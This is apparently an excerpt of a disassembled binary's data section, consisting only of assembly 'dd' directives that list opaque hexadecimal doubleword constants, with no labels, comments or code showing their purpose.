		dd 0CC3A902Ah, 13306F87h, 0F12118DBh, 0D5F1FDCh, 8A449C61h
		dd 81C4229Ah, 5EBE0CA0h, 1948F052h, 0EE1F2600h,	7DA378F9h
		dd 0B81C61DAh, 40E49F33h, 576DA278h, 0C00B9EAh,	3A356AD4h
		dd 0E8B30Ah, 0F0848322h, 0FF91D618h, 8323BF38h,	9E6617Eh
		dd 7840DE0Bh, 44922C19h, 5C930E5Fh, 484252A3h, 0E29FACC8h
		dd 1F29B160h, 7266C61h,	0A3E78CC8h, 0A42CC1B2h,	0F48980CFh
		dd 482F2A4Fh, 33FC92EBh, 18480858h, 0EA03ABE0h,	0E898E1FCh
		dd 0DD9CA716h, 0C1E23B06h, 1EF4E9F8h, 88A5302Dh, 0BFA31F50h
		dd 90B908C3h, 0E3C3CB5Ch, 0E4F02508h, 75BEA007h, 859C0126h
		dd 0F0C00162h, 0E00CA09h, 3B221F1Bh, 0BF0A67h, 0B65924BEh
		dd 32686D5h, 82129DEh, 108868C6h, 55C8858h, 2600A291h
		dd 742BBF4Eh, 0BDE60815h, 0C256B600h, 0DA1840Bh, 0E9340057h
		dd 0AE88D555h, 0FE13778Bh, 560B46F5h, 8D48A043h, 5E15AB0h
		dd 21E93D53h, 0AA4CC038h, 0A051890Ch, 802C6089h, 6004E44Ah
		dd 38A0B48Fh, 6104A57h,	29F1B3A0h, 0B49F6C0Dh, 3FEC1969h
		dd 20673050h, 0FA08F410h, 0CA1DD100h, 8A961576h, 3CF10077h
		dd 4720CEC0h, 0B0011893h, 0FE4E7E8Ch, 513055C8h, 3E6E009Ch
		dd 5A8D8AEEh, 2000D49Bh, 5270D6C1h, 0DC9361h, 79A2473Dh
		dd 1F533DFh, 1A0B8300h,	87E22BB6h, 3A180425h, 0B05103A5h
		dd 0B103C178h, 7910C75Bh, 1B5A98A4h, 0A75E07F2h, 60A93CE8h
		dd 71F18597h, 0EF4A2500h, 0AA929A13h, 0DEE72660h, 0F7144040h
		dd 0D90AF07Ch, 9C39BE85h, 25A84600h, 0B0678778h, 8C9454C4h
		dd 3296001Ch, 204FA493h, 315DC86Ch, 0FC448E8h, 29F397h
		dd 6F82CFC9h, 3954691Bh, 911EFE82h, 0EA02EC80h,	3E054837h
		dd 8AD8269Ah, 4B8DA490h, 0A3C4002Bh, 2C1AA5D6h,	0B60F3DB7h
		dd 0C3ACBCB9h, 0DA1B3553h, 0D9D04820h, 160F067Fh, 69E1A3CBh
		dd 0A87CBE02h, 0C0BF1C72h, 1D55037h, 9E2BA471h,	806C3387h
		dd 2224EF29h, 0C4C7C1h,	7C425DEEh, 0BE36FCB0h, 81B4B100h
		dd 0E6DFFD72h, 0C5602441h, 0E81614h, 0D7503738h, 0D200C196h
		dd 0B245B77Eh, 2B93F0Dh, 0AB4A807h, 0AD40C7D4h,	8F005FDBh
		dd 2A4B1CF3h, 710AF7Bh,	0B70A333Bh, 0B901A0D9h,	0EA004DD7h
		dd 7BBD831Dh, 75787h, 0F5FBC1D1h, 0D26A7C79h, 864D41CAh
		dd 64AEE600h, 3E6C5C85h, 0DC807562h, 0B577A0CCh, 2300B22Fh
		dd 9DA98C33h, 126ABE73h, 0C0972868h, 55A1C0F8h,	0EA7B04ECh
		dd 0BC94CD14h, 724B00A4h, 399AE836h, 0E3310C7Fh, 0A80ACCDBh
		dd 7CCA1800h, 0FB126058h, 25782Bh, 856DA09Dh, 3BB9EDEAh
		dd 4373400h, 0CB8380EFh, 0C50F16FAh, 4CD80FF2h,	70E64627h
		dd 34B4A97Fh, 4FE00300h, 81CC5138h, 0CA390282h,	269C63B7h
		dd 9E24A480h, 93005868h, 6537C160h, 0EBAC2Ch, 6D39459h
		dd 0FFD8B8BDh, 4673C000h, 74B06DBFh, 0A61E31E2h, 0DCCD9A40h
		dd 18C77E97h, 835E6E1Fh, 0E0EE5D63h, 38C1C5F2h,	87028C2Bh
		dd 726861A9h, 3DABE060h, 0DEAE2A05h, 0B803C941h, 0F35FFECAh
		dd 2730A84Eh, 0FF8A1E56h, 9E0BC021h, 8CBB5CF2h,	8500AC96h
		dd 0D48B1EEEh, 0F46873B4h, 22B62757h, 6F6D9C07h, 35B549A0h
		dd 2B070DE9h, 0E6565DD7h, 60A3ABF2h, 0ECF50Ch, 0B440BA50h
		dd 3B82499Dh, 0A12C490h, 7400E96Ch, 4E9773CCh, 1D300DFh
		dd 0C29F9369h, 1A7B9CADh
		dd 0EAD1320Eh, 0C00BC075h, 7E2A5C1h, 0F37FAF5Bh, 420EE005h
		dd 32500C57h, 0E300948Ch, 0D0EFE9F2h, 4485983h,	29659A4Bh
		dd 0EEE0B028h, 0F800FAEAh, 0F1C678C7h, 9E8EA2Fh, 0E1EFE01Ah
		dd 965FA898h, 0A8DCD901h, 0A36F234Ch, 48C5DCh, 8F1D152Fh
		dd 7A90AF73h, 80B04A3Bh, 8DB14B7Bh, 204D7Dh, 75CF3F74h
		dd 4FEBBC38h, 724FE4Ch,	0C66E0CD8h, 516F6BB0h, 0C8D91803h
		dd 1708A0CBh, 0AD8FD824h, 1416701Ch, 4A42A040h,	90A2C3A5h
		dd 164B01D4h, 5CFB6C83h, 11BF468h, 4C978E00h, 0AA95044Dh
		dd 94C91D34h, 0A7830571h, 2368333h, 7CA51E8h, 137C2158h
		dd 1C004ED3h, 73EE1523h, 3BB7006Ch, 8684BAC2h, 341D050Dh
		dd 1DC054CEh, 9225F794h, 2B14EDBh, 29BD68B0h, 75094460h
		dd 983D3905h, 0DCC0D6B6h, 1E88F13Eh, 40CC485Fh,	7A15F8C1h
		dd 0E600F9ABh, 1F9F4D17h, 28B09989h, 0D85E6Dh, 0C9D543F5h
		dd 1BC2B20Eh, 0DD2CC00h, 0CD68DB2Fh, 5890A8h, 0FAEA8955h
		dd 457875F9h, 5D77AE01h, 0C18EE111h, 0B8F709D9h, 12D04A4Bh
		dd 7D51DD7h, 7051B196h,	55A2F146h, 0ED3B8500h, 8287399Fh
		dd 4F1F0D9Bh, 0F460DCB3h, 0E000D06Fh, 0F9C71410h, 0EE0C48DBh
		dd 7589246Bh, 0DD1103A4h, 98A012ABh, 0CB382EF6h, 0B3030BCEh
		dd 0F1181195h, 115AC0h,	7CF5AA63h, 0A31DCFDFh, 0E2BB5E01h
		dd 7669D5FBh, 6A5AA681h, 205710D4h, 0C6008CECh,	0D9444573h
		dd 0FE4CD675h, 24DE7DFCh, 30D05F33h, 935951A0h,	412AA3Fh
		dd 0E4CBF635h, 0BB36B0C1h, 0A6F0C1D9h, 0CA0A0E58h, 0D189E9EEh
		dd 64755B80h, 0C100575Ch, 40FC9622h, 0F2632FCAh, 0F63D0083h
		dd 784F8514h, 0FB1F199Ch, 6081F971h, 36C362C6h,	4DFF60h
		dd 0C1D86E73h, 0D0B56CEh, 0F62CF100h, 0A09C61FCh, 0EA3A006Ah
		dd 6245A4B4h, 500D6F4h,	2D177493h, 6B00316h, 198072E8h
		dd 3F002870h, 0F532B28Eh, 127EFCDAh, 80BBB33Ah,	0F1021F64h
		dd 0C96F7600h, 6BB8C039h, 60E0287h, 5158D238h, 0D0A1D440h
		dd 0AADF6901h, 6627DE72h, 4852B075h, 4F878BEh, 2E48985h
		dd 8A4C80D9h, 59F0D53Dh, 8417B13Ch, 9DEE1EECh, 0C000C8C4h
		dd 13639377h, 4D730E65h, 24C0B248h, 3F8156CFh, 9BD62100h
		dd 6B6D02C8h, 0B2070555h, 0D0CA6636h, 0E78652B8h, 1CBA1B1Fh
		dd 3C9B183Ah, 26481DD0h, 9728DEA0h, 0DF840360h,	0F10E39E9h
		dd 0C1528792h, 842C94A1h, 3FFCCE4h, 6ADF1AE3h, 7AC10223h
		dd 394180B7h, 80B8B5BAh, 29792664h, 3FB980D0h, 0D0D7E643h
		dd 83ECCC38h, 0EBEFCFD3h, 0E7F0C8D4h, 0F4F2D8h,	0F3D2D7E0h
		dd 0F2D1D6E1h, 0DDCA0CA0h, 14469EBh, 55F108Fh, 2CE780A1h
		dd 3E5E5861h, 0BD44B060h, 0DDF0AD34h, 0FB86310Ch, 0F8A9E8CDh
		dd 978519F9h, 0E0F511CBh, 0F0008874h, 1845983Ch, 137ED57h
		dd 0A1659B1Fh, 703E67B0h, 16305F7Bh, 0E4A030ABh, 0A5615BDh
		dd 0A91FA024h, 709E19DDh, 34918FD9h, 5F7A806Fh,	2544286Dh
		dd 749941E2h, 0B81834h,	3C78420Ah, 0D609229Ah, 1F1B0800h
		dd 2E804045h, 6AD40071h, 0E2D8BF0Ah, 0F7EA8AABh, 79BDD0A8h
		dd 0EAD4D703h, 0A8F0E335h, 0E61467DBh, 3C61C54h, 0F2A54044h
		dd 9B0AF51Dh, 0A7337000h, 958441FCh, 0E45E00D6h, 0E76E9707h
		dd 3718E8A8h, 0D83065BCh, 15CC264Ah, 0B1580BB8h, 4E814EFh
		dd 19ACAFFh, 0A7092804h, 211884F4h, 0D0B06E3Dh,	66524440h
		dd 7D211F3h, 6FE42200h,	422C29C8h, 702F0BC5h, 44713C84h
		dd 29445118h, 42AA480Dh, 42472B7h, 120EC821h, 76EC1096h
		dd 9708F089h, 84821244h, 54789022h, 89173CDCh, 445A086Eh
		dd 2284C87Fh, 8FF1DF7h,	0B484442Ah, 89EC7D84h, 0A1FE0846h
		dd 0A408A014h, 84322044h, 8C89597Ch, 12F9FE08h,	88A8101Eh
		dd 18137889h, 676EE9C0h, 0B831D100h, 67F73B0h, 54B0FEh
		dd 12F04950h, 0D761C899h, 0D66AB200h, 23B76E1Fh, 8040946Ch
		dd 7DB94CD8h, 0FA26DC81h, 8204F8DBh, 0E5FCD35h,	0B803D4E0h
		dd 99F7CCB3h, 4FC0A893h, 3200C1B0h, 8873403Dh, 3340422h
		dd 272FFF1Dh, 79B1D19Dh, 3031E0E1h, 3B787C00h, 8A80BC82h
		dd 0D40A005Ah, 0BB11F885h, 4249D8F9h, 90CB2D48h, 0B8D1E04Ch
		dd 645F03C8h, 0AF2ADE91h, 5B1E46A0h, 13981900h,	52EC37F6h
		dd 48F262C5h, 0F72FFDA5h, 1C879C88h, 503439h, 725C5570h
		dd 217FD5F4h, 2440052Eh, 0D2088E00h, 5F1FCC2h, 9AF73E27h
		dd 38D09088h, 96059113h, 0ECB27E32h, 3837A0A0h,	0D4008F01h
		dd 0AFF59EE9h, 75002674h, 0CAC40C57h, 0BA08C65Ah, 67D82284h
		dd 0BB9D4118h, 80E4311h, 0DC354FF3h, 0E4B43001h, 0AC704447h
		dd 660400D0h, 0F5F27D76h, 0F40031C1h, 42D7DCE3h, 72114575h
		dd 0D2771DE0h, 6F4C43E9h, 0A1F1BCF1h, 4107C870h, 10CFE3Dh
		dd 93873B25h, 56EC777Dh, 0F9DB00E7h, 0B12371BEh, 3A0035BDh
		dd 0D9FA666Dh, 1E6AB4BBh, 0E81E848Fh, 0D50202A4h, 9C528582h
		dd 3E9ADCE0h, 931D192Eh, 34676400h, 0BAFACBBh, 637192B3h
		dd 1EB9F000h, 60054A2h,	509DEBD5h, 0EA3888h, 2BC79817h
		dd 0B3303544h, 9BE3CF00h, 0B010CA53h, 47FE3892h, 8E4ADE80h
		dd 93B11902h, 1C44C317h, 0F8C4E400h, 9E8DAh, 0C139C665h
		dd 784EB4E3h, 58117E00h, 718D4DF5h, 892E255Eh, 9C720080h
		dd 0A04CE57h, 44D98B6h,	0FC4C13C0h, 0BDAB0006h,	94122C3Ah
		dd 522E26F5h, 540048FAh, 6FB5D7E9h, 0DC250024h,	2898408Dh
		dd 1700A923h, 0CD4255C4h, 0C1661BBh, 7058FC18h,	73076F54h
		dd 7859FEF7h, 0CCC1988Dh, 40EABDFDh, 554080h, 7A96B40Ah
		dd 0AB76E192h, 951B0C03h, 0D8A2B101h, 902450C5h, 79F7D27h
		dd 0F4EB8ACDh, 3526204Fh, 3F007475h, 5E5ADFA5h,	92F62Fh
		dd 0DA8D6295h, 2325B64Fh, 891E9802h, 80F122E7h,	5FADC580h
		dd 75141CCBh, 175EC0A8h, 0E4AB62F6h, 93EC407Eh,	8FF5893Fh
		dd 0E1EB4E29h, 64A6969Eh, 5CE2D8h, 102D35AEh, 0DDF480FBh
		dd 42C28900h, 0AC4A139Ch, 87780029h, 7464026Dh,	0CE00EC7Bh
		dd 2136B1D8h, 0F35FC7h,	0C6777F54h, 0CCE0AA44h,	0F4073A7Eh
		dd 0E892AD95h, 7060C049h, 0C96A0B9Ah, 0AC4193DEh, 0E84CE01Bh
		dd 89D4CA0Eh, 0B60660E9h, 1089433h, 0C23BCF6Eh,	0EFCB5C4Bh
		dd 0E818F2A1h, 6A045460h, 0FB6647EDh, 0B9EEA880h, 80726Fh
		dd 976EF51Bh, 8CF77D0Ah, 8055A43Ah, 0E2C5A727h,	4D655674h
		dd 0BF023089h, 0A305AAEh, 801EC28Fh, 0C5E5FCDFh, 2301BE11h
		dd 0A3D2F422h, 302E691Eh, 26C5AA0Ch, 0B30053B8h, 0AF8EE728h
		dd 149C30D5h, 0C8F05AFAh, 26E68D00h, 70ACDC93h,	4F0925E6h
		dd 48732ABEh, 51CBC0h, 15F13DBDh, 5E65DF23h, 0B32CDE00h
		dd 0FD7694ABh, 0B88095F4h, 8A51A5BCh, 12C84350h, 20F1742Dh
		dd 0B1D9E87Ch, 9BA918FDh, 9D23F81Eh, 18E40907h,	8F23F829h
		dd 33C8F8EAh, 314B75h, 4717A248h, 193E53ABh, 9A678736h
		dd 0B720FE7Fh, 0BE0CC3h, 0BC719BA7h, 16B83E68h,	38BDDE00h
		dd 0D3FC0AEDh, 31CC031Fh, 0B1E3FDD0h, 0DF1695F0h, 5181D700h
		dd 11869908h, 71A7097Eh, 7C008FFEh, 0BFE1444Bh,	0A303A400h
		dd 1A76362Bh, 4CD35C2Ah, 9328B1Eh, 5890DA28h, 0BF750D9Bh
		dd 0A586800h, 52A018BCh, 656B003Bh, 0ACE0DD8Ah,	2D382A45h
		dd 777480FAh, 0C3C0AF44h, 4F3A010Ah, 7A99FB04h,	6486E58Ch
		dd 0BDF8C910h, 0E827697Dh, 2D94A073h, 260AA9C6h, 0BA40653Ch
		dd 0E69928h, 31871675h
		dd 24B3B2C2h, 0DCE9A807h, 6423F0E0h, 1154E06Fh,	2CF200A4h
		dd 25C4BF8Dh, 4C002D17h, 5A20AC80h, 1FF626E4h, 1E70A5h
		dd 958D27DFh, 56F844B2h, 0A70A570Bh, 0C44707CFh, 0EE491951h
		dd 0E0511C0h, 456C9FD1h, 792DC05Fh, 0F91DAB66h,	6429C400h
		dd 2EA8E7D9h, 77FDF677h, 6BB400F6h, 6723984Dh, 3503CD6Ch
		dd 4F0CFBECh, 38D7D85Dh, 75C9049h, 0AEB1E93Ah, 4A651EFh
		dd 5840D603h, 7F078DE5h, 0C85534EBh, 159F0039h,	7C3CB82h
		dd 7416CD61h, 499691A9h, 0BE37EC6Eh, 8486B600h,	0CE3C030Bh
		dd 0F04D0454h, 8114A11Ah, 2044E248h, 0CC266A58h, 1AC00049h
		dd 2A302B6h, 643452B8h,	24E0F521h, 60005D29h, 4EDEAEBEh
		dd 0FA9F89F9h, 777B00BFh, 28A7CC7Dh, 0D5F2794Bh, 0C8F4B37Eh
		dd 0EA4A741Fh, 44CA1341h, 8FC016F9h, 0A2593DA4h, 2FE18380h
		dd 0A1E85D12h, 0F43F2A18h, 0CB7C19h, 486362ADh,	0B975927Dh
		dd 0F0808C03h, 0D3264DFAh, 45E4805Ch, 19CE0054h, 0A73AEAA5h
		dd 870E9DF0h, 4F851265h, 0D42F01F5h, 6420D1C6h,	0D9CE03EFh
		dd 23953E8Bh, 711EC3CDh, 0BC040A03h, 0A8B4206Eh, 9CF9FB6h
		dd 444126C8h, 5E91D0E0h, 0DBD89700h, 27244BA7h,	0B39E096Fh
		dd 6401FD68h, 0BEA26F0h, 0D45D943Ch, 99CF5507h,	0F7DCE21Fh
		dd 9864A880h, 58C0619Bh, 459E2241h, 2D60177Bh, 4410887Eh
		dd 102DD278h, 0AEDC87C7h, 9B4C80F0h, 0FF0C1F33h, 0D348C0CDh
		dd 17A7B321h, 0DAA19113h, 0B928D807h, 0D845D2A2h, 153A0094h
		dd 2235A8E2h, 0BA0006CEh, 98FAD4Ah, 0AFC6D3h, 0E515DD46h
		dd 43133194h, 0C8C4441Fh, 98AA8079h, 4967CD1Ah,	0F23D1E5Bh
		dd 230580A2h, 0AB17E6F4h, 0FD39767Ch, 0BE6200D4h, 14CC0B0Ah
		dd 39090085h, 0D5B1939Dh, 0BA005925h, 198E43C8h, 1CB075h
		dd 0DAFC2966h, 5F8AF9A7h, 53AF6F05h, 0D800D0EEh, 64B1F6C7h
		dd 0FABE0E16h, 49205FACh, 942CADFBh, 0DCF84600h, 0A7778DDBh
		dd 884E5DA1h, 69660800h, 0B3B0BF36h, 0FC738000h, 8B7646FFh
		dd 0C8D8A840h, 60C14AFEh, 0BFA2494Ch, 0D83FB22Eh, 6954C307h
		dd 719974E0h, 47B60967h, 17019D3Bh, 8EF6EDA8h, 0EAC1DD48h
		dd 1500D1F3h, 5133CBCAh, 327D3C05h, 29FF9E80h, 0F7A00B1Bh
		dd 0F6E6B300h, 936F488Bh, 0E05B0058h, 933F813h,	320BC7B4h
		dd 159D5A5h, 799729F7h,	5E7EC640h, 1F90A9h, 0D710862Fh
		dd 0DF7D9502h, 0CB0F5003h, 0E8FF1280h, 7F1C713h, 0EA1FDE79h
		dd 560BB077h, 8800CDDDh, 3CCFF5ACh, 7AAE06h, 0DCD5F374h
		dd 3B9A5637h, 0A9DE7E00h, 8B4D2D8Eh, 97590B35h,	4600D570h
		dd 3725961Dh, 0D8FDB978h, 0DA00E35Ch, 242CA55Dh, 79F3FFh
		dd 0C53ECC72h, 0D867CBDh, 4BD53C00h, 934ADE3Fh,	972A03FAh
		dd 0E175AFE0h, 0EA6164B2h, 6EA870F1h, 780B51F2h, 0C241A9F6h
		dd 4EB80004h, 0B4922DFEh, 0B1A1E4Ch, 4C853881h,	0DCC84FD4h
		dd 28B0BC80h, 0C032A247h, 604848DAh, 277C34h, 0E7030DAEh
		dd 0FE33E6EDh, 0BBE5F107h, 0D804B407h, 0FA807CC0h, 0C58718AFh
		dd 536010D7h, 2E924707h, 86507C3Eh, 8F63C0h, 0D72CD474h
		dd 0FB0D5E6Bh, 510ED89Ch, 94B22102h, 72A34C4h, 63E8B4B0h
		dd 0B900F890h, 0C4528F93h, 13361862h, 8242431Bh, 0D8E0F0F4h
		dd 6318016Eh, 0E531FD94h, 7ED4E5BCh, 0C0485D93h, 2F1ED00Eh
		dd 0E4FFCB40h, 7AE00A96h, 102AE625h, 8003DCCCh,	0E3F0465Ch
		dd 0AD61F504h, 98A81432h, 7169BC00h, 37C314Fh, 0CEF9B41Fh
		dd 634DFD00h, 978818h, 0D0EFA07Ah, 3B08429Bh, 19055030h
		dd 0EBDC8Dh, 0C5C9F6E2h, 747EEFE5h, 0AAE4FB1Fh,	6F916C0h
		dd 1CE82EDh, 0A3BC6352h, 60313E8Ch, 9701AA97h, 99D07C43h
		dd 54300413h, 37BB00EFh, 0B7D4EBEEh, 7D02896Ch,	104A9E53h
		dd 90A341D8h, 8078163Eh, 7A42E4D4h, 0C4F1960Eh,	0C98EC02Dh
		dd 7934710h, 50611FEh, 9C4B8131h, 0B49BE4E3h, 424F9D00h
		dd 412DDC96h, 36EE00A1h, 37B1F485h, 0C000B5D3h,	1F6D58DEh
		dd 0F60CAB62h, 0FD0E2E2Fh, 659D00BCh, 9FAFE535h, 5519DA0Eh
		dd 71361A1h, 70600D03h,	0D253003Ah, 4A80E720h, 0ED0EA214h
		dd 60078337h, 0AE504F9Bh, 0F8090023h, 57CCECB3h, 30176684h
		dd 0B082A3D7h, 9E5D400Dh, 9DF79CEh, 935FAB35h, 0A840AD0Eh
		dd 0ACE23262h, 0D0553900h, 773D3585h, 114139C1h, 29E93480h
		dd 0C071FE9Ch, 24E65800h, 13F74509h, 0F87801E3h, 0DDC80C83h
		dd 1A298792h, 2034B69h,	60DEA8E6h, 63F7002Eh, 0F842E2ACh
		dd 0DF000115h, 9673D62Ah, 6F9483h, 577290A9h, 51117791h
		dd 45FF4A14h, 6A21009Eh, 8EB60124h, 856C03CBh, 0F505BA8Dh
		dd 5CDE89A8h, 3F4480Fh,	0A0538542h, 569E9EC0h, 9FC0019h
		dd 59E685EAh, 892779C0h, 981C63EFh, 3751483h, 0F12CD3C3h
		dd 17B0D01Dh, 0D005BA9h, 0EEDF2CEh, 2EAACCh, 0DBFA7529h
		dd 0FDC2B227h, 12076800h, 226B5FAEh, 728B0E32h,	0DB01955Bh
		dd 206776E5h, 7BF219BFh, 4D3D2D00h, 1C3B9E8Fh, 8E7F7Eh
		dd 0FAF8EB08h, 5544C074h, 0B6CBAE09h, 0E7204095h, 6A770018h
		dd 71478C68h, 0CC2C1D53h, 0AA0BCBB8h, 5CFF0039h, 3BD0A52Bh
		dd 1A80B60Ah, 1DFD01BFh, 2EE004BCh, 979DD703h, 0C8CA64A6h
		dd 0E9CCD35h, 0AEBF174Dh, 0B67F3380h, 0C9A532Eh, 1101DB78h
		dd 0CFE6C914h, 87E0FBB0h, 3FE1E2h, 385388C4h, 7D00C495h
		dd 0CB476F4Ch, 10A5EFAh, 1BE73032h, 80912CFEh, 0AE4D1911h
		dd 2DA337BDh, 3482E82Ah, 3C56E4A9h, 4C1A4B00h, 69AB0CB1h
		dd 950250B7h, 2CD67884h, 31C68E3Eh, 7DC8F2Ch, 88B0B921h
		dd 713A6Dh, 3532A0B6h, 31D4BEFCh, 89DC0395h, 0D66CF04Fh
		dd 9C410F37h, 6FA0815Bh, 103660E3h, 21EE3401h, 98FDD135h
		dd 39C49FC8h, 7F2ED7Bh,	6769AE52h, 88E934E8h, 0B5E8B734h
		dd 0A4D5A207h, 0D7204071h, 3AD6FE09h, 0ED8DF1E1h, 0FD74179Bh
		dd 3839DD82h, 0BD380280h, 7C1D3B9Fh, 789F54h, 0CDE269F4h
		dd 32729D89h, 0E952FB14h, 0DE95008Ch, 0A4E49B2Eh, 12DE678h
		dd 7B32C647h, 0D87D1114h, 0C50059C3h, 1B1DF945h, 666DE8h
		dd 0B3BB34D6h, 0FD057E8Ch, 0C401F8B4h, 4A9259ADh, 11A2C60h
		dd 0D9A0F97Ch, 600DB1F0h, 5A007863h, 2C39862h, 2C12E329h
		dd 14ECA4C1h, 3874C4B5h, 3F12C660h, 0F5C00BCBh,	0F280CC8Eh
		dd 0B9A91118h, 73BAA501h, 310E8D98h, 0C512EC41h, 8C09443Ch
		dd 9822DEDBh, 0C05AF92Ch, 0BFBCAB00h, 5381A2C2h, 0C5174A65h
		dd 0C5B08258h, 6060ABE1h, 2700FAA2h, 4D3AD7A7h,	16C33035h
		dd 4001F3DFh, 282B9E38h, 0CD01FBBAh, 0AAFA544h,	0B8BAF79Dh
		dd 0B26B1E00h, 0B01F6867h, 892FA400h, 88D70A1Ah, 0FDCAC00Fh
		dd 22681E0Dh, 67B0FB01h, 0A7B3FE27h, 7D861D0h, 0DF5FFA2Ah
		dd 47AAF02Bh, 0A6EA01A8h, 3D8B2D0Fh, 1702C080h,	255DBAFh
		dd 771BCF98h, 7840BEE0h, 0CD0009E9h, 1CD64D12h,	0FB3D01h
		dd 0C9A36D07h, 0A95233A7h, 2F00817Dh, 9F9689A4h, 27AE8322h
		dd 706092A6h, 4807A75Bh, 9711AD5Fh, 2B05C0BFh, 23B545Eh
		dd 4C6ACDECh, 80E03657h, 0BF00DE93h, 58852A20h,	7F75388Fh
		dd 0EB8701D3h, 6E361C77h, 812DEC83h, 0EC08000h,	493AD9A5h
		dd 169AECC3h, 41E1F5h, 48FC1D00h, 0F4F877C2h, 33DF0600h
		dd 58E4ED66h, 4E821CB2h, 0FB48027h, 7B228EADh, 0BFB73000h
		dd 5F5BDA8h, 146F63Ch, 0F7768272h, 0E045907Ch, 56F28DFDh
		dd 0C71C6A00h, 191FDB4Eh
		dd 0F6FF1EB5h, 0E54000C1h, 81ABB79Ah, 0B853CC00h, 0C99EB215h
		dd 55CF0005h, 0EAFE4285h, 2D014A38h, 530111D9h,	2C719A25h
		dd 1D23AD0h, 4CE28C51h,	20E7AEABh, 0D3F839A4h, 1883F0Eh
		dd 0A2D1651Ch, 0B27078E0h, 0FD202420h, 0F29C18F1h, 5798128Bh
		dd 575ED801h, 0A1A922E8h, 67B8012Fh, 6035FD51h,	0BE1713EFh
		dd 9C079D20h, 0D5D0046Bh, 0BABAFCE5h, 4C3D0294h, 9510C4A3h
		dd 0DE0594D0h, 4BE6241Ah, 0B3F4A100h, 772C1E3h,	99C018C2h
		dd 0FD9C001Ch, 0D001927h, 12F1F7B2h, 0F0F5C3h, 15738E5Bh
		dd 1C45C7ECh, 0E9CE2401h, 8F31A754h, 2900BC3Ch,	0B10A9CA0h
		dd 0A473EFDAh, 2C7A9A00h, 33A85D7Bh, 38CC0041h,	105EC07Ch
		dd 3F131BB6h, 0F400BAD3h, 0AECFE5ECh, 0C8400F9h, 956BE319h
		dd 8E8813F0h, 533E0015h, 2B33883Ch, 7702D7F5h, 9363DF0Bh
		dd 51850F7h, 1E14B37Fh,	0D2B8A853h, 0EA9E0600h,	7BD7F6Eh
		dd 64AC403h, 1CE9D04Eh,	0C1BE62ECh, 64726800h, 8C982Fh
		dd 0BA8E25EBh, 0BBB72921h, 70650300h, 0CEE55554h, 0C2FA0FADh
		dd 0A9400837h, 0F2516452h, 9C00C8D2h, 96B40402h, 17F9339Eh
		dd 6DE99FC1h, 256EC8B8h, 78263506h, 0B911A8h, 43EC7C8Ch
		dd 78B33E1h, 0D70B1700h, 55CADD3Dh, 0B7ED1738h,	0FFB8A03Fh
		dd 248BD31Eh, 431871B7h, 6AC84AA5h, 0EF02FDEEh,	0C8B38078h
		dd 508487Dh, 7B641854h,	0AD0C1135h, 40A04051h, 0FECFED94h
		dd 0EB916260h, 0B78C811Fh, 1C1B8880h, 2600A38Dh, 65FF9C0Eh
		dd 0C063AE99h, 39EB7748h, 385EDA4Ah, 2B1C6C00h,	357C7h
		dd 10B1F13Ch, 3BDA3EC4h, 194A4700h, 55E8AE49h, 0EB8502B5h
		dd 3A89BA38h, 804390C1h, 2CB151F0h, 74C8CBh, 20E3356Bh
		dd 0A10DB259h, 0F1661B00h, 34E3982h, 74B00011h,	71BBDA8Bh
		dd 3224D872h, 263B9351h, 0C01869D9h, 9EE81E1h, 9678BF3Ah
		dd 1C07A0F8h, 119B9243h, 733FA941h, 1CE9F020h, 0C72A4B71h
		dd 0EB1006A5h, 181D1580h, 9006B82h, 9EBAB904h, 7EDE6D6h
		dd 271E5ECAh, 0ECE04BDAh, 0B2014C84h, 875A5817h, 0D6E81FEDh
		dd 52D8003Eh, 0DF9B0851h, 809EC98Bh, 0B96CA000h, 0EDD8278h
		dd 52BA06D1h, 42A0218Eh, 0AC720CF6h, 46768C1Dh,	0D448C0C0h
		dd 9247989h, 92BA3955h,	31337D80h, 0AF0F0BB9h, 0E1C48DA8h
		dd 1F1DD406h, 90829C4h,	8E71536Ch, 4A46B480h, 0B0004B1Bh
		dd 8FCCEAE6h, 0DD2D44h,	0EC2A549h, 3E92A393h, 0E4B6B824h
		dd 853AC000h, 0A77E10h,	8D96C313h, 39BD84D8h, 2959D79h
		dd 41F13DADh, 24E4C5F4h, 0B2E40718h, 5CABFF12h,	0B8036A29h
		dd 21A4237Bh, 7262C02Ch, 407E89h, 0F9E37A9Bh, 0E2B2C3F3h
		dd 9360B405h, 0A8021E0Eh, 4827055Ah, 2FA9A0h, 0F3187640h
		dd 0C4A7E761h, 63B65114h, 283E00D8h, 72080DABh,	0E5C04A5h
		dd 80199BE1h, 36F8310h,	87D1391Eh, 42872E5Eh, 0FFE77195h
		dd 4964A162h, 20389D5Ch, 0B0288Eh, 84349FABh, 34AE97Fh
		dd 0AA1ED359h, 0F3983DE7h, 0FE003E9Ch, 968B5BBEh, 236A80h
		dd 72900BBFh, 0E2E4427h, 0FB055900h, 7B10831Fh,	0CB4003F5h
		dd 15CC60C4h, 80C8AAC3h, 0E100170Eh, 218971D1h,	3A113303h
		dd 1400066Fh, 0EEE6AE01h, 6E001F6Dh, 37679B9Eh,	7E483E7h
		dd 0EF1C22F2h, 0ED0AD0BDh, 7700F7FAh, 0E6716859h, 3FC7B732h
		dd 0F520D7h, 359D1E95h,	9FFBBCF9h, 0B6C67Eh, 9A078877h
		dd 2666E250h, 8430FA96h, 0D047927Dh, 0B41DCF44h, 5A49E800h
		dd 0C7B8D699h, 0A443002Ch, 219E8C18h, 2B0944AFh, 0E0BD1F2Eh
		dd 1F1FD1Ch, 3AD0D4E3h,	2463469Bh, 909538C0h, 80B260D0h
		dd 29002DDFh, 1DE38F49h, 0DDB1A5h, 0AFDA9647h, 71388C41h
		dd 13991E03h, 0A30F72F9h, 7CC0B5DFh, 9D10DBh, 5D3EE3CFh
		dd 0E5784F6Eh, 0E619B002h, 44A7C3AEh, 2A0B00A8h, 0B275342Bh
		dd 0F74C047Dh, 6E800010h, 0ACCA45F9h, 28620718h, 8982AAF5h
		dd 0A94C00A0h, 0FB04C9C6h, 958DAB1Ah, 8C1754E1h, 907969A0h
		dd 0F09EE2h, 3642B162h,	1800D688h, 0E6EBD504h, 23B8451h
		dd 16A39AEDh, 67E11C0Eh, 80B3F72h, 258407E9h, 9BB6B500h
		dd 0F315023Dh, 5218597h, 0EA00B0CCh, 0CCDD6F07h, 37DD2C7h
		dd 8E8666DFh, 7AE13764h, 711ED144h, 3E2C3133h, 6562801h
		dd 0B1892E79h, 6A0305B6h, 92BA1911h, 0E61AB468h, 8C01C926h
		dd 29F86500h, 66EC01Bh,	4F1C3610h, 0F8B0A86Ch, 0B2BBE503h
